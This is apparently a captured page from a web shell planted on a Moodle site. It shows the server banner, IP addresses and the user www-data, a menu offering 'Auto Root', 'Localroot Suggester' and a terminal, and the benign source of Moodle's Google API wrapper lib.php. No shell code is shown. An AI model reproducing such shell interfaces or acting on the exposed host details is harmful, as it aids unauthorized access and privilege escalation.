Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
lib /
google /
Delete
Unzip
Name
Size
Permission
Date
Action
src
[ DIR ]
drwxr-sr-x
2017-06-22 15:27
LICENSE
10.02
KB
-rw-r--r--
2017-06-22 15:40
README.md
5.52
KB
-rw-r--r--
2017-06-22 15:40
autoload.php
1.02
KB
-rw-r--r--
2017-06-22 15:40
curlio.php
6.9
KB
-rw-r--r--
2017-06-22 15:40
lib.php
1.79
KB
-rw-r--r--
2017-06-22 15:40
readme_moodle.txt
1.56
KB
-rw-r--r--
2017-06-22 15:40
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Moodle's lib to use for the Google API. * * @package core * @copyright 2014 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); // All Google API classes support autoload with this. require_once($CFG->libdir . '/google/src/Google/autoload.php'); // To be able to use our custom IO class. require_once($CFG->libdir . '/google/curlio.php'); /** * Wrapper to get a Google Client object. * * This automatically sets the config to Moodle's defaults. * * @return Google_Client */ function get_google_client() { global $CFG, $SITE; make_temp_directory('googleapi'); $tempdir = $CFG->tempdir . '/googleapi'; $config = new Google_Config(); $config->setApplicationName('Moodle ' . $CFG->release); $config->setIoClass('moodle_google_curlio'); $config->setClassConfig('Google_Cache_File', 'directory', $tempdir); $config->setClassConfig('Google_Auth_OAuth2', 'access_type', 'online'); $config->setClassConfig('Google_Auth_OAuth2', 'approval_prompt', 'auto'); return new Google_Client($config); }